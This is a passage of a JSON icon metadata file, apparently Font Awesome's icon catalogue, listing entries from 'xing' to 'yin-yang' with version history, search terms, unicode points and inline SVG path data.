        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M369.9 318.2c44.3 54.3 64.7 98.8 54.4 118.7-7.9 15.1-56.7 44.6-92.6 55.9-29.6 9.3-68.4 13.3-100.4 10.2-38.2-3.7-76.9-17.4-110.1-39C93.3 445.8 87 438.3 87 423.4c0-29.9 32.9-82.3 89.2-142.1 32-33.9 76.5-73.7 81.4-72.6 9.4 2.1 84.3 75.1 112.3 109.5zM188.6 143.8c-29.7-26.9-58.1-53.9-86.4-63.4-15.2-5.1-16.3-4.8-28.7 8.1-29.2 30.4-53.5 79.7-60.3 122.4-5.4 34.2-6.1 43.8-4.2 60.5 5.6 50.5 17.3 85.4 40.5 120.9 9.5 14.6 12.1 17.3 9.3 9.9-4.2-11-.3-37.5 9.5-64 14.3-39 53.9-112.9 120.3-194.4zm311.6 63.5C483.3 127.3 432.7 77 425.6 77c-7.3 0-24.2 6.5-36 13.9-23.3 14.5-41 31.4-64.3 52.8C367.7 197 427.5 283.1 448.2 346c6.8 20.7 9.7 41.1 7.4 52.3-1.7 8.5-1.7 8.5 1.4 4.6 6.1-7.7 19.9-31.3 25.4-43.5 7.4-16.2 15-40.2 18.6-58.7 4.3-22.5 3.9-70.8-.8-93.4zM141.3 43C189 40.5 251 77.5 255.6 78.4c.7.1 10.4-4.2 21.6-9.7 63.9-31.1 94-25.8 107.4-25.2-63.9-39.3-152.7-50-233.9-11.7-23.4 11.1-24 11.9-9.4 11.2z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M369.9 318.2c44.3 54.3 64.7 98.8 54.4 118.7-7.9 15.1-56.7 44.6-92.6 55.9-29.6 9.3-68.4 13.3-100.4 10.2-38.2-3.7-76.9-17.4-110.1-39C93.3 445.8 87 438.3 87 423.4c0-29.9 32.9-82.3 89.2-142.1 32-33.9 76.5-73.7 81.4-72.6 9.4 2.1 84.3 75.1 112.3 109.5zM188.6 143.8c-29.7-26.9-58.1-53.9-86.4-63.4-15.2-5.1-16.3-4.8-28.7 8.1-29.2 30.4-53.5 79.7-60.3 122.4-5.4 34.2-6.1 43.8-4.2 60.5 5.6 50.5 17.3 85.4 40.5 120.9 9.5 14.6 12.1 17.3 9.3 9.9-4.2-11-.3-37.5 9.5-64 14.3-39 53.9-112.9 120.3-194.4zm311.6 63.5C483.3 127.3 432.7 77 425.6 77c-7.3 0-24.2 6.5-36 13.9-23.3 14.5-41 31.4-64.3 52.8C367.7 197 427.5 283.1 448.2 346c6.8 20.7 9.7 41.1 7.4 52.3-1.7 8.5-1.7 8.5 1.4 4.6 6.1-7.7 19.9-31.3 25.4-43.5 7.4-16.2 15-40.2 18.6-58.7 4.3-22.5 3.9-70.8-.8-93.4zM141.3 43C189 40.5 251 77.5 255.6 78.4c.7.1 10.4-4.2 21.6-9.7 63.9-31.1 94-25.8 107.4-25.2-63.9-39.3-152.7-50-233.9-11.7-23.4 11.1-24 11.9-9.4 11.2z"
      }
    },
    "free": ["brands"]
  },
  "xing": {
    "changes": ["3.2.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f168",
    "label": "Xing",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014471,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M162.7 210c-1.8 3.3-25.2 44.4-70.1 123.5-4.9 8.3-10.8 12.5-17.7 12.5H9.8c-7.7 0-12.1-7.5-8.5-14.4l69-121.3c.2 0 .2-.1 0-.3l-43.9-75.6c-4.3-7.8.3-14.1 8.5-14.1H100c7.3 0 13.3 4.1 18 12.2l44.7 77.5zM382.6 46.1l-144 253v.3L330.2 466c3.9 7.1.2 14.1-8.5 14.1h-65.2c-7.6 0-13.6-4-18-12.2l-92.4-168.5c3.3-5.8 51.5-90.8 144.8-255.2 4.6-8.1 10.4-12.2 17.5-12.2h65.7c8 0 12.3 6.7 8.5 14.1z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M162.7 210c-1.8 3.3-25.2 44.4-70.1 123.5-4.9 8.3-10.8 12.5-17.7 12.5H9.8c-7.7 0-12.1-7.5-8.5-14.4l69-121.3c.2 0 .2-.1 0-.3l-43.9-75.6c-4.3-7.8.3-14.1 8.5-14.1H100c7.3 0 13.3 4.1 18 12.2l44.7 77.5zM382.6 46.1l-144 253v.3L330.2 466c3.9 7.1.2 14.1-8.5 14.1h-65.2c-7.6 0-13.6-4-18-12.2l-92.4-168.5c3.3-5.8 51.5-90.8 144.8-255.2 4.6-8.1 10.4-12.2 17.5-12.2h65.7c8 0 12.3 6.7 8.5 14.1z"
      }
    },
    "free": ["brands"]
  },
  "xmark": {
    "aliases": {
      "names": ["close", "multiply", "remove", "times"],
      "unicodes": {
        "composite": ["1f5d9", "2715", "2716", "274c", "d7"],
        "secondary": ["10f00d"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "5.0.13",
      "5.11.0",
      "5.11.1",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "Cancellation X",
        "Multiplication Sign",
        "Multiplication X",
        "cancel",
        "close",
        "cross",
        "cross mark",
        "error",
        "exit",
        "incorrect",
        "mark",
        "multiplication",
        "multiply",
        "notice",
        "notification",
        "notify",
        "problem",
        "sign",
        "wrong",
        "x",
        "×"
      ]
    },
    "styles": ["solid"],
    "unicode": "f00d",
    "label": "Xmark",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767245,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M342.6 150.6c12.5-12.5 12.5-32.8 0-45.3s-32.8-12.5-45.3 0L192 210.7 86.6 105.4c-12.5-12.5-32.8-12.5-45.3 0s-12.5 32.8 0 45.3L146.7 256 41.4 361.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L192 301.3 297.4 406.6c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3L237.3 256 342.6 150.6z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M342.6 150.6c12.5-12.5 12.5-32.8 0-45.3s-32.8-12.5-45.3 0L192 210.7 86.6 105.4c-12.5-12.5-32.8-12.5-45.3 0s-12.5 32.8 0 45.3L146.7 256 41.4 361.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L192 301.3 297.4 406.6c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3L237.3 256 342.6 150.6z"
      }
    },
    "free": ["solid"]
  },
  "xmarks-lines": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["barricade", "barrier", "fence", "poison", "roadblock"]
    },
    "styles": ["solid"],
    "unicode": "e59a",
    "label": "Xmarks Lines",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767443,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M32 32C14.3 32 0 46.3 0 64S14.3 96 32 96H608c17.7 0 32-14.3 32-32s-14.3-32-32-32H32zm0 384c-17.7 0-32 14.3-32 32s14.3 32 32 32H608c17.7 0 32-14.3 32-32s-14.3-32-32-32H32zM7 167c-9.4 9.4-9.4 24.6 0 33.9l55 55L7 311c-9.4 9.4-9.4 24.6 0 33.9s24.6 9.4 33.9 0l55-55 55 55c9.4 9.4 24.6 9.4 33.9 0s9.4-24.6 0-33.9l-55-55 55-55c9.4-9.4 9.4-24.6 0-33.9s-24.6-9.4-33.9 0l-55 55L41 167c-9.4-9.4-24.6-9.4-33.9 0zM265 167c-9.4-9.4-24.6-9.4-33.9 0s-9.4 24.6 0 33.9l55 55-55 55c-9.4 9.4-9.4 24.6 0 33.9s24.6 9.4 33.9 0l55-55 55 55c9.4 9.4 24.6 9.4 33.9 0s9.4-24.6 0-33.9l-55-55 55-55c9.4-9.4 9.4-24.6 0-33.9s-24.6-9.4-33.9 0l-55 55-55-55zM455 167c-9.4 9.4-9.4 24.6 0 33.9l55 55-55 55c-9.4 9.4-9.4 24.6 0 33.9s24.6 9.4 33.9 0l55-55 55 55c9.4 9.4 24.6 9.4 33.9 0s9.4-24.6 0-33.9l-55-55 55-55c9.4-9.4 9.4-24.6 0-33.9s-24.6-9.4-33.9 0l-55 55-55-55c-9.4-9.4-24.6-9.4-33.9 0z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M32 32C14.3 32 0 46.3 0 64S14.3 96 32 96H608c17.7 0 32-14.3 32-32s-14.3-32-32-32H32zm0 384c-17.7 0-32 14.3-32 32s14.3 32 32 32H608c17.7 0 32-14.3 32-32s-14.3-32-32-32H32zM7 167c-9.4 9.4-9.4 24.6 0 33.9l55 55L7 311c-9.4 9.4-9.4 24.6 0 33.9s24.6 9.4 33.9 0l55-55 55 55c9.4 9.4 24.6 9.4 33.9 0s9.4-24.6 0-33.9l-55-55 55-55c9.4-9.4 9.4-24.6 0-33.9s-24.6-9.4-33.9 0l-55 55L41 167c-9.4-9.4-24.6-9.4-33.9 0zM265 167c-9.4-9.4-24.6-9.4-33.9 0s-9.4 24.6 0 33.9l55 55-55 55c-9.4 9.4-9.4 24.6 0 33.9s24.6 9.4 33.9 0l55-55 55 55c9.4 9.4 24.6 9.4 33.9 0s9.4-24.6 0-33.9l-55-55 55-55c9.4-9.4 9.4-24.6 0-33.9s-24.6-9.4-33.9 0l-55 55-55-55zM455 167c-9.4 9.4-9.4 24.6 0 33.9l55 55-55 55c-9.4 9.4-9.4 24.6 0 33.9s24.6 9.4 33.9 0l55-55 55 55c9.4 9.4 24.6 9.4 33.9 0s9.4-24.6 0-33.9l-55-55 55-55c9.4-9.4 9.4-24.6 0-33.9s-24.6-9.4-33.9 0l-55 55-55-55c-9.4-9.4-24.6-9.4-33.9 0z"
      }
    },
    "free": ["solid"]
  },
  "y": {
    "aliases": {
      "unicodes": {
        "composite": ["79"]
      }
    },
    "changes": ["6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "Latin Capital Letter Y",
        "Latin Small Letter Y",
        "letter",
        "yay",
        "yes"
      ]
    },
    "styles": ["solid"],
    "unicode": "59",
    "label": "Y",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767245,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M58 45.4C47.8 31 27.8 27.7 13.4 38S-4.3 68.2 6 82.6L160 298.3V448c0 17.7 14.3 32 32 32s32-14.3 32-32V298.3L378 82.6c10.3-14.4 6.9-34.4-7.4-44.6S336.2 31 326 45.4L192 232.9 58 45.4z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M58 45.4C47.8 31 27.8 27.7 13.4 38S-4.3 68.2 6 82.6L160 298.3V448c0 17.7 14.3 32 32 32s32-14.3 32-32V298.3L378 82.6c10.3-14.4 6.9-34.4-7.4-44.6S336.2 31 326 45.4L192 232.9 58 45.4z"
      }
    },
    "free": ["solid"]
  },
  "y-combinator": {
    "changes": ["4.4.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f23b",
    "label": "Y Combinator",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014473,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M448 32v448H0V32h448zM236 287.5L313.5 142h-32.7L235 233c-4.7 9.3-9 18.3-12.8 26.8L210 233l-45.2-91h-35l76.7 143.8v94.5H236v-92.8z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M448 32v448H0V32h448zM236 287.5L313.5 142h-32.7L235 233c-4.7 9.3-9 18.3-12.8 26.8L210 233l-45.2-91h-35l76.7 143.8v94.5H236v-92.8z"
      }
    },
    "free": ["brands"]
  },
  "yahoo": {
    "changes": ["4.1.0", "5.0.0", "5.0.3", "5.13.1"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f19e",
    "label": "Yahoo Logo",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014471,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M223.69,141.06,167,284.23,111,141.06H14.93L120.76,390.19,82.19,480h94.17L317.27,141.06Zm105.4,135.79a58.22,58.22,0,1,0,58.22,58.22A58.22,58.22,0,0,0,329.09,276.85ZM394.65,32l-93,223.47H406.44L499.07,32Z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M223.69,141.06,167,284.23,111,141.06H14.93L120.76,390.19,82.19,480h94.17L317.27,141.06Zm105.4,135.79a58.22,58.22,0,1,0,58.22,58.22A58.22,58.22,0,0,0,329.09,276.85ZM394.65,32l-93,223.47H406.44L499.07,32Z"
      }
    },
    "free": ["brands"]
  },
  "yammer": {
    "changes": ["5.8.0", "6.0.0-beta1"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f840",
    "label": "Yammer",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014461,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M500.676,159.486a12.779,12.779,0,0,0-6.4-8.282,13.954,13.954,0,0,0-10.078-1.125L457.8,156.7l-.043-.2-22.3,5.785-1.243.333-.608-2.17A369.037,369.037,0,0,0,347.538,4.289a14.1,14.1,0,0,0-19.784-.463l-102.9,102.747H24.947A24.9,24.9,0,0,0,0,131.417V380.38a24.963,24.963,0,0,0,24.918,24.9H224.986L328.072,508a13.667,13.667,0,0,0,19.327,0c.126-.126.249-.255.37-.385a368.025,368.025,0,0,0,69.577-107.374,403.45,403.45,0,0,0,17.3-50.8v-.028l20.406,5.336.029-.073L483.345,362a20.253,20.253,0,0,0,2.619.5,13.359,13.359,0,0,0,4.139-.072,13.5,13.5,0,0,0,10.515-9.924,415.855,415.855,0,0,0,.058-193.013ZM337.125,24.65l.013.014h-.013Zm-110.2,165.161L174.311,281.1a11.338,11.338,0,0,0-1.489,5.655v46.189a22.04,22.04,0,0,1-22.041,22h-3.4A22.068,22.068,0,0,1,125.3,332.962V287.294a11.532,11.532,0,0,0-1.388-5.51l-51.6-92.2a21.988,21.988,0,0,1,19.264-32.726h3.268a22.059,22.059,0,0,1,19.611,11.916l36.357,70.281,37.515-70.512a22.066,22.066,0,0,1,38.556-.695,21.7,21.7,0,0,1,0,21.967ZM337.145,24.673a348.147,348.147,0,0,1,75.8,141.335l.564,1.952-114.134,29.6V131.417a25.006,25.006,0,0,0-24.947-24.9H255.067Zm60.5,367.305v-.043l-.014.014a347.19,347.19,0,0,1-60.177,95.227l-82.2-81.893h19.177a24.978,24.978,0,0,0,24.947-24.9v-66.2l114.6,29.862A385.191,385.191,0,0,1,397.648,391.978Zm84-52.45.015.014-50.618-13.131L299.379,292.1V219.572l119.746-30.99,4.468-1.157,39.54-10.253,18.511-4.816A393,393,0,0,1,481.644,339.528Z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M500.676,159.486a12.779,12.779,0,0,0-6.4-8.282,13.954,13.954,0,0,0-10.078-1.125L457.8,156.7l-.043-.2-22.3,5.785-1.243.333-.608-2.17A369.037,369.037,0,0,0,347.538,4.289a14.1,14.1,0,0,0-19.784-.463l-102.9,102.747H24.947A24.9,24.9,0,0,0,0,131.417V380.38a24.963,24.963,0,0,0,24.918,24.9H224.986L328.072,508a13.667,13.667,0,0,0,19.327,0c.126-.126.249-.255.37-.385a368.025,368.025,0,0,0,69.577-107.374,403.45,403.45,0,0,0,17.3-50.8v-.028l20.406,5.336.029-.073L483.345,362a20.253,20.253,0,0,0,2.619.5,13.359,13.359,0,0,0,4.139-.072,13.5,13.5,0,0,0,10.515-9.924,415.855,415.855,0,0,0,.058-193.013ZM337.125,24.65l.013.014h-.013Zm-110.2,165.161L174.311,281.1a11.338,11.338,0,0,0-1.489,5.655v46.189a22.04,22.04,0,0,1-22.041,22h-3.4A22.068,22.068,0,0,1,125.3,332.962V287.294a11.532,11.532,0,0,0-1.388-5.51l-51.6-92.2a21.988,21.988,0,0,1,19.264-32.726h3.268a22.059,22.059,0,0,1,19.611,11.916l36.357,70.281,37.515-70.512a22.066,22.066,0,0,1,38.556-.695,21.7,21.7,0,0,1,0,21.967ZM337.145,24.673a348.147,348.147,0,0,1,75.8,141.335l.564,1.952-114.134,29.6V131.417a25.006,25.006,0,0,0-24.947-24.9H255.067Zm60.5,367.305v-.043l-.014.014a347.19,347.19,0,0,1-60.177,95.227l-82.2-81.893h19.177a24.978,24.978,0,0,0,24.947-24.9v-66.2l114.6,29.862A385.191,385.191,0,0,1,397.648,391.978Zm84-52.45.015.014-50.618-13.131L299.379,292.1V219.572l119.746-30.99,4.468-1.157,39.54-10.253,18.511-4.816A393,393,0,0,1,481.644,339.528Z"
      }
    },
    "free": ["brands"]
  },
  "yandex": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f413",
    "label": "Yandex",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014464,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 256 512\"><path d=\"M153.1 315.8L65.7 512H2l96-209.8c-45.1-22.9-75.2-64.4-75.2-141.1C22.7 53.7 90.8 0 171.7 0H254v512h-55.1V315.8h-45.8zm45.8-269.3h-29.4c-44.4 0-87.4 29.4-87.4 114.6 0 82.3 39.4 108.8 87.4 108.8h29.4V46.5z\"/></svg>",
        "viewBox": [0, 0, 256, 512],
        "width": 256,
        "height": 512,
        "path": "M153.1 315.8L65.7 512H2l96-209.8c-45.1-22.9-75.2-64.4-75.2-141.1C22.7 53.7 90.8 0 171.7 0H254v512h-55.1V315.8h-45.8zm45.8-269.3h-29.4c-44.4 0-87.4 29.4-87.4 114.6 0 82.3 39.4 108.8 87.4 108.8h29.4V46.5z"
      }
    },
    "free": ["brands"]
  },
  "yandex-international": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f414",
    "label": "Yandex International",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014462,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M129.5 512V345.9L18.5 48h55.8l81.8 229.7L250.2 0h51.3L180.8 347.8V512h-51.3z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M129.5 512V345.9L18.5 48h55.8l81.8 229.7L250.2 0h51.3L180.8 347.8V512h-51.3z"
      }
    },
    "free": ["brands"]
  },
  "yarn": {
    "changes": ["5.6.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f7e3",
    "label": "Yarn",
    "voted": true,
    "svg": {
      "brands": {
        "last_modified": 1660014474,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M393.9 345.2c-39 9.3-48.4 32.1-104 47.4 0 0-2.7 4-10.4 5.8-13.4 3.3-63.9 6-68.5 6.1-12.4.1-19.9-3.2-22-8.2-6.4-15.3 9.2-22 9.2-22-8.1-5-9-9.9-9.8-8.1-2.4 5.8-3.6 20.1-10.1 26.5-8.8 8.9-25.5 5.9-35.3.8-10.8-5.7.8-19.2.8-19.2s-5.8 3.4-10.5-3.6c-6-9.3-17.1-37.3 11.5-62-1.3-10.1-4.6-53.7 40.6-85.6 0 0-20.6-22.8-12.9-43.3 5-13.4 7-13.3 8.6-13.9 5.7-2.2 11.3-4.6 15.4-9.1 20.6-22.2 46.8-18 46.8-18s12.4-37.8 23.9-30.4c3.5 2.3 16.3 30.6 16.3 30.6s13.6-7.9 15.1-5c8.2 16 9.2 46.5 5.6 65.1-6.1 30.6-21.4 47.1-27.6 57.5-1.4 2.4 16.5 10 27.8 41.3 10.4 28.6 1.1 52.7 2.8 55.3.8 1.4 13.7.8 36.4-13.2 12.8-7.9 28.1-16.9 45.4-17 16.7-.5 17.6 19.2 4.9 22.2zM496 256c0 136.9-111.1 248-248 248S0 392.9 0 256 111.1 8 248 8s248 111.1 248 248zm-79.3 75.2c-1.7-13.6-13.2-23-28-22.8-22 .3-40.5 11.7-52.8 19.2-4.8 3-8.9 5.2-12.4 6.8 3.1-44.5-22.5-73.1-28.7-79.4 7.8-11.3 18.4-27.8 23.4-53.2 4.3-21.7 3-55.5-6.9-74.5-1.6-3.1-7.4-11.2-21-7.4-9.7-20-13-22.1-15.6-23.8-1.1-.7-23.6-16.4-41.4 28-12.2.9-31.3 5.3-47.5 22.8-2 2.2-5.9 3.8-10.1 5.4h.1c-8.4 3-12.3 9.9-16.9 22.3-6.5 17.4.2 34.6 6.8 45.7-17.8 15.9-37 39.8-35.7 82.5-34 36-11.8 73-5.6 79.6-1.6 11.1 3.7 19.4 12 23.8 12.6 6.7 30.3 9.6 43.9 2.8 4.9 5.2 13.8 10.1 30 10.1 6.8 0 58-2.9 72.6-6.5 6.8-1.6 11.5-4.5 14.6-7.1 9.8-3.1 36.8-12.3 62.2-28.7 18-11.7 24.2-14.2 37.6-17.4 12.9-3.2 21-15.1 19.4-28.2z\"/></svg>",
        "viewBox": [0, 0, 496, 512],
        "width": 496,
        "height": 512,
        "path": "M393.9 345.2c-39 9.3-48.4 32.1-104 47.4 0 0-2.7 4-10.4 5.8-13.4 3.3-63.9 6-68.5 6.1-12.4.1-19.9-3.2-22-8.2-6.4-15.3 9.2-22 9.2-22-8.1-5-9-9.9-9.8-8.1-2.4 5.8-3.6 20.1-10.1 26.5-8.8 8.9-25.5 5.9-35.3.8-10.8-5.7.8-19.2.8-19.2s-5.8 3.4-10.5-3.6c-6-9.3-17.1-37.3 11.5-62-1.3-10.1-4.6-53.7 40.6-85.6 0 0-20.6-22.8-12.9-43.3 5-13.4 7-13.3 8.6-13.9 5.7-2.2 11.3-4.6 15.4-9.1 20.6-22.2 46.8-18 46.8-18s12.4-37.8 23.9-30.4c3.5 2.3 16.3 30.6 16.3 30.6s13.6-7.9 15.1-5c8.2 16 9.2 46.5 5.6 65.1-6.1 30.6-21.4 47.1-27.6 57.5-1.4 2.4 16.5 10 27.8 41.3 10.4 28.6 1.1 52.7 2.8 55.3.8 1.4 13.7.8 36.4-13.2 12.8-7.9 28.1-16.9 45.4-17 16.7-.5 17.6 19.2 4.9 22.2zM496 256c0 136.9-111.1 248-248 248S0 392.9 0 256 111.1 8 248 8s248 111.1 248 248zm-79.3 75.2c-1.7-13.6-13.2-23-28-22.8-22 .3-40.5 11.7-52.8 19.2-4.8 3-8.9 5.2-12.4 6.8 3.1-44.5-22.5-73.1-28.7-79.4 7.8-11.3 18.4-27.8 23.4-53.2 4.3-21.7 3-55.5-6.9-74.5-1.6-3.1-7.4-11.2-21-7.4-9.7-20-13-22.1-15.6-23.8-1.1-.7-23.6-16.4-41.4 28-12.2.9-31.3 5.3-47.5 22.8-2 2.2-5.9 3.8-10.1 5.4h.1c-8.4 3-12.3 9.9-16.9 22.3-6.5 17.4.2 34.6 6.8 45.7-17.8 15.9-37 39.8-35.7 82.5-34 36-11.8 73-5.6 79.6-1.6 11.1 3.7 19.4 12 23.8 12.6 6.7 30.3 9.6 43.9 2.8 4.9 5.2 13.8 10.1 30 10.1 6.8 0 58-2.9 72.6-6.5 6.8-1.6 11.5-4.5 14.6-7.1 9.8-3.1 36.8-12.3 62.2-28.7 18-11.7 24.2-14.2 37.6-17.4 12.9-3.2 21-15.1 19.4-28.2z"
      }
    },
    "free": ["brands"]
  },
  "yelp": {
    "changes": ["4.2.0", "5.0.0", "5.7.0", "5.8.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f1e9",
    "label": "Yelp",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014483,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M42.9 240.32l99.62 48.61c19.2 9.4 16.2 37.51-4.5 42.71L30.5 358.45a22.79 22.79 0 0 1-28.21-19.6 197.16 197.16 0 0 1 9-85.32 22.8 22.8 0 0 1 31.61-13.21zm44 239.25a199.45 199.45 0 0 0 79.42 32.11A22.78 22.78 0 0 0 192.94 490l3.9-110.82c.7-21.3-25.5-31.91-39.81-16.1l-74.21 82.4a22.82 22.82 0 0 0 4.09 34.09zm145.34-109.92l58.81 94a22.93 22.93 0 0 0 34 5.5 198.36 198.36 0 0 0 52.71-67.61A23 23 0 0 0 364.17 370l-105.42-34.26c-20.31-6.5-37.81 15.8-26.51 33.91zm148.33-132.23a197.44 197.44 0 0 0-50.41-69.31 22.85 22.85 0 0 0-34 4.4l-62 91.92c-11.9 17.7 4.7 40.61 25.2 34.71L366 268.63a23 23 0 0 0 14.61-31.21zM62.11 30.18a22.86 22.86 0 0 0-9.9 32l104.12 180.44c11.7 20.2 42.61 11.9 42.61-11.4V22.88a22.67 22.67 0 0 0-24.5-22.8 320.37 320.37 0 0 0-112.33 30.1z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M42.9 240.32l99.62 48.61c19.2 9.4 16.2 37.51-4.5 42.71L30.5 358.45a22.79 22.79 0 0 1-28.21-19.6 197.16 197.16 0 0 1 9-85.32 22.8 22.8 0 0 1 31.61-13.21zm44 239.25a199.45 199.45 0 0 0 79.42 32.11A22.78 22.78 0 0 0 192.94 490l3.9-110.82c.7-21.3-25.5-31.91-39.81-16.1l-74.21 82.4a22.82 22.82 0 0 0 4.09 34.09zm145.34-109.92l58.81 94a22.93 22.93 0 0 0 34 5.5 198.36 198.36 0 0 0 52.71-67.61A23 23 0 0 0 364.17 370l-105.42-34.26c-20.31-6.5-37.81 15.8-26.51 33.91zm148.33-132.23a197.44 197.44 0 0 0-50.41-69.31 22.85 22.85 0 0 0-34 4.4l-62 91.92c-11.9 17.7 4.7 40.61 25.2 34.71L366 268.63a23 23 0 0 0 14.61-31.21zM62.11 30.18a22.86 22.86 0 0 0-9.9 32l104.12 180.44c11.7 20.2 42.61 11.9 42.61-11.4V22.88a22.67 22.67 0 0 0-24.5-22.8 320.37 320.37 0 0 0-112.33 30.1z"
      }
    },
    "free": ["brands"]
  },
  "yen-sign": {
    "aliases": {
      "names": ["cny", "jpy", "rmb", "yen"],
      "unicodes": {
        "composite": ["a5"],
        "secondary": ["10f157"]
      }
    },
    "changes": [
      "3.2.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["Yen Sign", "currency"]
    },
    "styles": ["solid"],
    "unicode": "f157",
    "label": "Yen Sign",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766475,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M58.6 46.2C48.8 31.5 29 27.6 14.3 37.4S-4.4 67 5.4 81.7L100.2 224H48c-17.7 0-32 14.3-32 32s14.3 32 32 32h80v32H48c-17.7 0-32 14.3-32 32s14.3 32 32 32h80v64c0 17.7 14.3 32 32 32s32-14.3 32-32V384h80c17.7 0 32-14.3 32-32s-14.3-32-32-32H192V288h80c17.7 0 32-14.3 32-32s-14.3-32-32-32H219.8L314.6 81.7c9.8-14.7 5.8-34.6-8.9-44.4s-34.6-5.8-44.4 8.9L160 198.3 58.6 46.2z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M58.6 46.2C48.8 31.5 29 27.6 14.3 37.4S-4.4 67 5.4 81.7L100.2 224H48c-17.7 0-32 14.3-32 32s14.3 32 32 32h80v32H48c-17.7 0-32 14.3-32 32s14.3 32 32 32h80v64c0 17.7 14.3 32 32 32s32-14.3 32-32V384h80c17.7 0 32-14.3 32-32s-14.3-32-32-32H192V288h80c17.7 0 32-14.3 32-32s-14.3-32-32-32H219.8L314.6 81.7c9.8-14.7 5.8-34.6-8.9-44.4s-34.6-5.8-44.4 8.9L160 198.3 58.6 46.2z"
      }
    },
    "free": ["solid"]
  },
  "yin-yang": {
    "aliases": {
      "unicodes": {
        "composite": ["262f"],
        "secondary": ["10f6ad"]
      }
    },
    "changes": [
      "5.3.0",
      "5.10.2",
      "5.11.0",
      "5.11.1",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "daoism",
        "opposites",
        "religion",
        "tao",
        "taoism",
        "taoist",
        "yang",
        "yin",
        "yin yang"
      ]
    },
    "styles": ["solid"],
    "unicode": "f6ad",
    "label": "Yin Yang",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767601,
